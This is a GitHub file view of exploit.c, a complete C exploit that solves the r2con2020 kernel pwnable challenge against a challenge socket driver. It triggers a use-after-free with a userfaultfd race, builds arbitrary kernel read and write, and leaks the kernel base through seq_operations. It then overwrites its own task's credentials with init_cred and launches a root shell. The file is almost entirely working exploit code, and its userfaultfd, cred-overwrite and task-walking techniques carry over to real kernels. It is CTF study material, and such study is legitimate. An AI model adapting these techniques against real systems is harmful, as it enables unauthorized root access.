-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathexploit.c
390 lines (301 loc) · 11.3 KB
/
exploit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
/* Solution for r2con2020 kernel pwnable challenge. This solution is based on
* previous challenge(2019) solution by Eloi Sanfelix. Also userfaultfd
* Example codes are from https://cons.org/cracauer/cracauer-userfaultfd.html
* For this exploit we need 7 sock objects to work with. 3 of them for UaF
* trigger and rest of them for getting arbitrary read/write. By dumping
* init_task we can get offset of task_comm by looking for 'swapper/0' and
* for 'tasks' some heruistic calculations and a couple of dumping needed
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <pthread.h>
#include <sys/types.h>
#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <poll.h>
#include <sys/prctl.h>
/* Retrieved from kernel image. */
#define INIT_TASK 0x100f740
/* These offsets obtained by dumping init_task and by finding "swapper"
* COMM name offset. */
#define TASKS 0x2C8
#define CRED 0x560
#define COMM 0x570
/* To calculate kbase. */
#define SINGLE_STOP 0x1c5ef0
#define SOCK_BUF_SIZE 32
#define PAGE_SHIFT 12
#define PAGE_SIZE (1UL << PAGE_SHIFT)
#define PAGE_MASK (~(PAGE_SIZE-1))
#define NUMBER_OF_SOCKS 64
typedef struct {
unsigned long uffd;
unsigned long clean_page;
unsigned long fault_page;
}args_t;
int fd_array[NUMBER_OF_SOCKS];
void fail(){
for(int i=0; i<NUMBER_OF_SOCKS; i++){
close(fd_array[i]);
}
exit(-1);
}
#include "socks.h"
uint64_t write64(uint64_t addr, uint64_t val) {
uint64_t data = val;
/* fd-4 buffer + fd-5 sock and fd-2 buffer.
* This set fd-4 write index to 0 since we setsize of fd-4 to
* 3*(sock_buf_t). */
char buf[3*SOCK_BUF_SIZE] = { 0 };
*(uint64_t*) (buf + 32) = 0x8;
*(uint64_t*) (buf + 40) = addr;
*(uint64_t*) (buf + 48) = 0x0;
*(uint64_t*) (buf + 56) = 0x0;
sock_send(fd_array[3], buf, 3*32);
/* fd-5 buffer addr is place to write. fd-6 and fd-5 are connected.*/
sock_send(fd_array[6], (char *) &data, 8);
return data;
}
uint64_t read64(uint64_t addr) {
uint64_t data = 0;
/* fd-4 buffer + fd-5 sock and fd-2 buffer.
* This set fd-4 write index to 0 since we setsize of fd-4 to
* 3*(sock_buf_t). fd-5 buffer will be the addr we want to read from.
*/
char buf[3*SOCK_BUF_SIZE] = { 0 };
*(uint64_t*) (buf + 32) = 0x8;
*(uint64_t*) (buf + 40) = addr;
*(uint64_t*) (buf + 48) = 0x0;
*(uint64_t*) (buf + 56) = 0x8;
sock_send(fd_array[3], buf, 3*32);
sock_recv(fd_array[5], (char *) &data, 8);
return data;
}
static void* racer_thread(void* arg) {
args_t *args = (args_t *)arg;
unsigned long uffd = args->uffd;
unsigned long clean_page = args->clean_page;
/* See hxxps://www[.]cons[.]org/cracauer/cracauer-userfaultfd.html
* for example code. */
for (;;) {
struct uffd_msg msg;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
int pollres;
pollres = poll(&pollfd, 1, -1);
if (pollres == -1){
perror("poll");
fail();
}
int readret;
readret = read(uffd, &msg, sizeof(msg));
if(readret == -1){
perror("perror userfaultfd read");
fail();
}
/* Now we will free old buffer and put new sock_buf_t of fd-3. */
sock_resize(fd_array[1], SOCK_BUF_SIZE*2);
sock_init(fd_array[3], SOCK_BUF_SIZE);
struct uffdio_copy uffdio_copy;
uffdio_copy.src = (unsigned long) clean_page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & PAGE_MASK;
uffdio_copy.len = (unsigned long) PAGE_SIZE;
uffdio_copy.mode = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1){
fprintf(stderr, "Couldn't do the IOCTL for copy");
fail();
}
break;
}
}
args_t get_ready(){
args_t args;
/* Setting up userfaultfd */
if ((args.uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK)) == -1){
perror("userfaultfd syscall");
fail();
}
/* Mapping page for userfaultfd. */
unsigned long *userfault_page = (unsigned long *)mmap(NULL, PAGE_SIZE,
PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0);
if (userfault_page == MAP_FAILED){
perror("mmap");
fail();
}
/* Get a new page to handle faults. */
void* clean_page = mmap(NULL, PAGE_SIZE, PROT_READ|PROT_WRITE,
MAP_SHARED|MAP_ANON, -1, 0);
if (clean_page == MAP_FAILED){
perror("mmap");
fail();
}
/* Set size of fd-3 to a higher value in order to to leak. */
*(uint64_t*) clean_page = 0x4141414142424242;
args.clean_page = (unsigned long)clean_page;
args.fault_page = (unsigned long)userfault_page;
struct uffdio_api uffdio_api;
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(args.uffd, UFFDIO_API, &uffdio_api) == -1){
perror("UFFDIO_API syscall");
fail();
}
struct uffdio_register uffdio_register;
uffdio_register.range.start = (unsigned long) userfault_page;
uffdio_register.range.len = PAGE_SIZE;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(args.uffd, UFFDIO_REGISTER, &uffdio_register) == -1){
perror("UFFDIO_REGISTER syscall");
fail();
}
return args;
}
int main(int argc, char* argv[argc+1]) {
pthread_t racer;
char tmp[100] = { 0 };
printf("===============================================================\n");
printf("Generally fails at first time. Please run again if that happen.\n\n");
printf("Initialising sockets.\n");
for (int i=0; i < NUMBER_OF_SOCKS; ++i) {
if ((fd_array[i] = open("/dev/r2socks2", O_RDWR)) < 0){
perror("device opening");
return -1;
}
}
sock_init(fd_array[1], SOCK_BUF_SIZE);
sock_init(fd_array[2], SOCK_BUF_SIZE);
sock_listen(fd_array[1], "LEAK");
sock_connect(fd_array[2], "LEAK");
args_t arg = get_ready();
printf("Userfaultfd is ready.\n");
if (pthread_create(&racer, 0, racer_thread, (void*) &arg)){
perror("racer thread");
fail();
}
/* This will trigger page fault. */
sock_send(fd_array[2], (char *)arg.fault_page, 8);
pthread_join(racer, 0);
printf("At this point UaF should have been triggered!\n");
/* Initialize other sockets as well. */
sock_init(fd_array[4], SOCK_BUF_SIZE);
sock_init(fd_array[5], SOCK_BUF_SIZE);
sock_init(fd_array[6], SOCK_BUF_SIZE);
/* Size of fd-3 is huge so we can send data to corrupt fd-4. */
sock_listen(fd_array[3], "READ");
sock_connect(fd_array[4], "READ");
/* We need fd-5 for arbitrary read/write. */
sock_listen(fd_array[5], "WRITE");
sock_connect(fd_array[6], "WRITE");
/* Set fd-4 w:0, r:20 so we can read up to end of the size. */
sock_send(fd_array[3], tmp, 21);
sock_recv(fd_array[4], tmp, 20);
sock_send(fd_array[3], tmp, 11);
/* Set fd-4 size to 0x4141414141414141 so we can leak the cache. */
*(uint64_t *)(tmp+SOCK_BUF_SIZE) = 0x4141414141414141;
sock_send(fd_array[4], tmp, 40);
/* Leaking from the 20th index of fd-4. */
uint64_t buffer[12] = { 0x0 };
sock_recv(fd_array[4], ((char *)(buffer))+4, 12*sizeof(uint64_t));
/* 4 bytes empty+12 bytes remaining from buffer, 3th index is leak. */
uint64_t leak = buffer[3];
if(leak < 0xffff000000000000){
printf("Race is failed. Couldn't fill freed chunk.\n");
fail();
}
/* We need to know fd-4 buffer pointer in order to overwrite
* write and read indexes. */
uint64_t fourth_ptr = buffer[11];
printf("Fourth socket PTR is : 0x%llx\n", fourth_ptr);
/* Set fd-4 w:0 r:0 */
*(uint64_t *)(tmp+0x0) = fourth_ptr;
*(uint64_t *)(tmp+0x8) = 0x0;
*(uint64_t *)(tmp+0x10) = 0x0;
sock_send(fd_array[4], tmp, 24);
/* Set the size of fd-3 to 64 so we can write and read 3th buffer
* and content of 4th sock info. */
*(uint64_t *)(tmp + 64) = 64;
sock_send(fd_array[4], tmp, 72);
/* Set fd-3 w:0 to cleanup. */
sock_send(fd_array[4], tmp, 64-8);
/* Set fd-4 r:0, w:0 and size to 96 so we can change fd-5 content every
* time with setting w:0. By these setups we will have fd-4 in a such way
* that whenever we overwrite fd-5 write index will be 0 again due to
* buf->write_index = buf->write_index % buf->size. This will help us
* to overwirte again and again without breaking anything.
*/
*(uint64_t *)(tmp+32) = 3*32;
*(uint64_t *)(tmp+40) = fourth_ptr;
*(uint64_t *)(tmp+48) = 0x0;
*(uint64_t *)(tmp+56) = 0x0;
sock_send(fd_array[4], tmp, 64);
printf("At this point we have arbitrary read/write.\n");
/* Initialize new sockets. */
sock_init(fd_array[7], SOCK_BUF_SIZE);
sock_resize(fd_array[7], 128);
printf("Looking for freed object...\n");
uint64_t freed_obj = leak;
while (read64(freed_obj) != 0xcccccccccccccccc) {
freed_obj += 8;
}
/* This free chunk will be filled with seq_operations once we opened
* a seq_file. eg. /proc/self/stat. */
printf("found freed object at %llx\n", freed_obj);
int stat = open("/proc/self/stat", O_RDONLY);
printf("\nseq_operations single_start : %llx\n", read64(freed_obj-8));
printf("seq_operations single_stop : %llx\n", read64(freed_obj));
printf("seq_operations single_next : %llx\n", read64(freed_obj+8));
printf("seq_operations single_show : %llx\n\n", read64(freed_obj+16));
uint64_t kbase = read64(freed_obj) - SINGLE_STOP;
printf("T _text at %llx\n", kbase);
prctl(PR_SET_NAME, "@lntrx", 0, 0, 0);
char buf[17] = {0};
/* Extract init_cred from init_task */
uint64_t init_task = kbase + INIT_TASK;
/* After the dump we can find string "swapper"(hex as 0x2f72657070617773
* whic is '/reppaws' because of little endian) which is defined to be init
* COMM string '#define INIT_TASK_COMM "swapper"'.
* https://elixir.bootlin.com/linux/latest/source/include/linux/init_task.h#L39
*/
/*
uint64_t value;
uint64_t iterator = init_task;
for(int i=0; i < 180; i++){
value = read64(iterator);
printf("%x. %llx\n", i*8, value );
iterator += 8;
}
*/
uint64_t init_cred = read64(init_task + CRED);
/* Find our task by name. */
uint64_t current = init_task;
do {
*(uint64_t *)&buf[0] = read64(current + COMM);
*(uint64_t *)&buf[8] = read64(current + COMM + 8);
if (strcmp(buf, "@lntrx") == 0) {
break;
}
current = read64(current + TASKS) - TASKS;
} while (current != init_task);
if (current == init_task ) {
printf("[*] Failed to find ourselves...\n");
exit(0);
}
/* Replace our creds by those of init. We read the first qword
* and increment it by 10. This increases the cred refcount by
* 10, making sure we don't cause a use-after-free when the exploit
* process exits.
*/
uint64_t init_cred_qw0 = read64(init_cred);
write64(init_cred, init_cred_qw0 + 10);
write64(current + CRED, init_cred);
write64(current + CRED + 8, init_cred);
printf("[*] We are: %d\n", getuid());
char *args[] = {"/bin/sh", NULL};
execve("/bin/sh", args, NULL);
return 0;
}